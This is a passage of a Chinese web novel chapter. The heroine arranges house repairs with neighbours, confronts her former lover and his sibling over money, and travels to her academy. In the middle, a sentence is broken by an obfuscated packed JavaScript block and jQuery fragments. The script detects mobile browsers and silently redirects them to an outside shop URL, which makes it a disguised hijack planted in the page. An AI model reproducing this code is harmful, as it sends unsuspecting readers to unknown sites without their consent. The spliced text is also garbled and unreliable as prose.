一个女娃闻声扯开嗓子大喊道:“爹!爹!有人敲门了!”
“来了来了!哎哟,原来是于秀才!”
前开门的正是那日在竹林边浣衣的微胖男子,他扬着嗓子朝里屋喊:“妻主,快出来!于秀才到了!”
于珂昭快速过了一下原主记忆,回想起眼前这位男子姓吴,便拱了拱手,“吴夫郎,叨扰了。”
吴夫郎长着一双利落的单眼皮,笑起来弯成两道细月牙,“快进来,快进来!”
于珂昭抬步走了进来,只见院子里十分宽敞,葡萄架子下摆了一套样式别致的石桌石凳,旁边一溜过去都是腊肉架子,大大小小的咸菜缸子挤满了角落,院墙边上还有一棵桃树,枝干上绑了个给小孩儿玩的秋千。
牛大姐家人口多,看着比她家,确实热闹鲜活多了。
于珂昭正凝神打量着牛大姐家的院落布置,却不知吴夫郎也在一旁瞧着她,“小青你瞧瞧,于秀才着这一身青衫,这腰比男儿还细,这相貌,怕是画里仙儿也比不过咯!”
“哎呀,姐夫你可别打趣于秀才了。”一旁正挂着腊肉的年轻男子回首瞧了一眼青衣女子。
吴夫郎促狭道:“奇了怪了,我们小青还不给说了。”
“哪有什么不给说,人家于秀才是客人嘛!”
那名叫小青的年轻男子又羞又恼,他眉眼并不出挑,偏偏笑起来却生动极了,“姐!你快出来,姐夫还笑我!”
话音刚落,牛雪峰从里屋快步走出,语气里满是惊喜:“来了来了,巧了不是,我正想去老妹你那坐坐,你就来了!”
于珂昭笑着点点头,伸手揉了揉凑到她跟前那小女孩的软黑发顶,将鸡蛋往她手里一塞,“拿去吃!”
牛夫郎见状连忙道;“不用不用!鸡蛋这种精贵吃食还是留给秀才补补身子吧。”
于珂昭摆了摆手,“牛大姐,吴夫郎,我来是想找你们帮个忙。”
牛雪峰闻言笑道:“咱俩这交情,有事尽管开口,能办的姐绝不含糊!!”
“是这样的,我明日便要回书院了,家里只有父亲一人,还望吴夫郎有空过去坐坐。”
“嗨!这算哪门子帮忙,没问题!”吴夫郎一口答应下来了。
“还有另外一个事,”于珂昭双手接过小青递过来的茶水,向他点头致意,“眼看没几天就要下雪了,我家那茅草屋屋顶早该修了,院墙也是稀松的,院门也不结实。
我今儿才想起这事,明天就要回书院了,一时也张罗不开,不知牛大姐可否帮我寻寻村里的工头?修缮下屋顶,砌道土墙,换扇结实的院门,再打张木桌就成。”
于珂昭边说边掏出了十两银子放在桌子上,“这个工费我也不清楚多少合适,我先拿五两,到时候少了我给补上。”
“这有何难,包在我身上!”牛雪峰一拍胸口,“你那房子确实该修了,既要修,倒不如索性推倒重盖?”
吴夫郎瞪了牛雪峰一眼:“重盖个啥,人家于秀才可不会一直待在这种乡下地方,等考了举人有了银子,还不如到镇上买个大宅子住得舒服哩!”
于珂昭笑道:“吴夫郎所言极是,只是于某现在手头上还差一些银子,眼下快要过冬过年了,先拾掇拾掇,让家父住得舒服点。”
吴夫郎闻言,又将她从头至脚夸了一番,等于珂昭从牛雪峰家出来时,已是寅时。
于珂昭慢悠悠地走在回家的路上,路过大片大片的田野,此时田都割了,地里光秃秃的,只剩一个个圆鼓鼓的谷堆,在深蓝色的天幕下映出浅浅的褐色轮廓。
家家户户升起袅袅炊烟,她正走着,却隐约听见不远处的树影下,有人压着嗓子低声私语。
“阿金姐姐,这是我做的清心露,我听闻你明日要去书院了,你带上这个,是玉兰的一点心意。”
“好玉兰,你当真跟于珂昭断了?”一个阴恻恻的女声响起,听着就叫人不自在。
于珂昭闻言躬着腰悄悄走近,背靠在一个谷堆后面,竖起耳朵听着。
秋玉兰声音软乎乎的,还裹着几分委屈的鼻音:“阿金姐姐,我的心意你还不知道吗?你这样子说,玉兰好伤心啊。”
女子声音冷幽幽的,“玉兰,你知道我孟瑞金最受不了被人欺骗,你可不要骗我,不然的话,呵呵.....”
孟瑞金?原主的记忆里确有这个人,读书比不过原主,长得还行,家里有点银子,就是有点怪怪的。
秋玉兰连忙道:“阿金姐姐,你相信我,我与那个姓于的半点关系都没有!”
于珂昭敛了敛衣裳,幽幽叹了口气,“玉兰弟弟好狠的心啊!”
“是谁?出来!”孟瑞金沉声道:“别在这里装神弄鬼!”
“是我,”于珂昭一拂衣袖,从谷堆后迈了一步,“玉兰弟弟如今得了新人,却是忘了往日如何一口一个昭姐姐。”
“你,你不要乱说!我和你已经没有关系了!”秋玉兰鼻子一红,泪水顿时在眼眶里打转。
孟瑞金向前一步,厉色道:“听到了吗!你再乱说,我就不客气了!”
于珂昭后退一步,似乎实在承受不住这打击般捂着心脏,“玉兰!你当真如此绝情?”
秋玉兰将脸侧过去,泪水骤然顺着脸颊滑落,复又抬眸,倔强地看着于珂昭,“你不要再纠缠我了!”
“好!”于珂昭实在演不下去了,手掌一摊,“把我送你的万金红胭脂水粉还给我。”
“你!”秋玉兰的泪意一收,似是被女子的话语震惊到了。
“秋玉兰,我给你花了多少钱全村人都知道,你转身就许给别人,真当我是傻子吗!”于珂昭叉着腰,中气十足地对着二人喊道:“还钱!孟瑞金你给他还钱也行,不然的话我可管不住我这嘴!”
昨儿她爹一提,莫氏他们都听见了,此事再不说开村里人都以为她还是接盘侠呢。
于珂昭声量不小,有一两个路人听去了都在一旁驻足观看。
孟瑞金一顿,打量了于珂昭几眼,“怎么?你不喜欢他了?”
“你说呢?”
孟瑞金眉头紧拢,看向秋玉兰,一声冷笑溢出唇间:“浪费时间!”
说罢,她干脆利落地转身,径直离去。
于珂昭看着孟瑞金头都不回地走了,顿时傻眼了。
不是,这姐们怎么不接上呢?
“于珂昭,你算什么女人,送出去的东西哪有脸收回来!”秋玉成实在憋不住了,从树后跳了出来破口大骂。
于珂昭本以为讨要不成了,正准备打道回府,瞧见来人顿时气笑了,“怎么,秋家连这点钱都给不起?”
“呵!打发乞丐的钱还是有的!”秋玉成从荷包里掏出一张钱票子扔在地上,“这里够了吧!”
于珂昭一脚踩住,低头一看,竟是二十两银票。
原主断断续续给秋玉兰买了不少胭脂水粉,但也没超过二十两,这么算来还赚了点。
她低头捡起,对着二人会心一笑,“谢谢了哈!”
秋玉兰一窒,这是回来村子后头一回看见她如此诚心诚意的笑容。
秋玉成见弟弟眸色沉沉,今日这激将法分明是弟弟硬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058808|194953||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拉着孟瑞金演的,她跟过来本想看个乐。
如今看来,不如彻底断了念想。
第二日一早,于珂昭提着包袱早早到了村口。
学院的蛐蛐争霸赛正好前一日举行,骆叶昨日便已入学,她只能独自坐车前往。
于珂昭上车后,意外地发现沈洛也在牛车上。
天未大亮,光线有些暗,衬得他覆着面巾的轮廓愈发清晰。
她定了定神,压下心头那丝惧意,轻声问道:“沈郎,你也要去镇上?”
沈洛抬眸看她一眼,摇了摇手中的袋子,“我带了器皿,要给张掌柜。”
于珂昭眼睛一亮,惊喜道:“你做好啦!那我与你一道去。”
“于秀才也去学院?巧了不是。”
身后徒然传来动静,原是孟瑞金上了牛车。
今日近身一看,她生得一副清丽摸样,却眉眼沉沉,唇色极淡,生生折去几分颜色。
孟瑞金见她不做声,脸上反倒堆起笑来,目光移到沈洛身上,“你的口味倒是变了。”
于珂昭嗤笑一声,“你倒还是这般,总爱找存在感。”
记忆里此人总爱跟她比,二人可谓是针锋相对,直至后来原主考上了秀才,换了个书院,这才消停了一阵子。
孟瑞金唇角轻扬,下巴微抬,“我说你,该不会还不知晓,我也要去白鹿书院吧?”
“恭喜。”于珂昭干脆别过了脸,看向噗嗤噗嗤爬坡的老黄牛。
也就没有留意到,孟瑞金脸上一闪而过的暗色。
等到了集贤镇已是日上三竿,于珂昭与沈洛将器皿送去张掌柜那后,一同到了白鹿山下。
白鹿山位于集贤镇的东边,离市井并不远,地理位置可谓是闹中取静。白鹿书院建在山上,自山脚下有一条长长的楼梯蜿蜒而上,楼梯的尽头才是书院正门。
白鹿学院美名远播,一方面是学风淳厚、师资卓绝、英才辈出,另一方面是白鹿山风光优美,山景四时不同,各有千秋,
如今已是深秋,但山脚两旁树木依旧苍翠欲滴,越往上爬,层层叠叠的树木裹上秋意,红橙黄绿色交炽,正是盛景之时,慕名而来的人数以万计。
山下人车来来往往,络绎不绝,不乏身着华服的小公子带着书童一步一步拾阶而上。
这个朝代女君开明,虽男子不可考取功名,然天下男子皆可入学。
“好了,到这就不用送了。”于珂昭看向戴着帷帽的高个青年,莫名生出几分兄长送妹赴学之意,心里几分滞涩感散了些许,“还是说沈郎想伴我至书院正门?”
沈洛摇了摇头,“我这就走。”
于珂昭见他目光投向那些贵公子,心下更软了几分,开口宽慰道:“沈郎何须羡慕他人,等以后玉容堂分红下来,你亦可去书院求学。”
沈洛向她低垂着眉眼,活脱脱像受了委屈的大兽凑向自己的小兽,“我哪有羡慕。”
“瞧那男子,奇了怪了,不知是什么吃食长得这般高大。”
“站在他面前的,难道是他的妻主?”
二人不过站了一会,便有路人指指点点,评头论足。
于珂昭抬眼,挨个狠狠瞪了回去,扬声道:“看什么看?说你呢,最矮那个!”
瞪完一圈后,她主动扯了扯沈洛的袖子,“快回去把。”
于珂昭只觉自己先前实在不像话,怎么能连她都欺负他呢?
他明明这般无辜,总是受着众人的非议。
“于秀才,又见面了。”一道温润的声音从身后传来,叫住了她。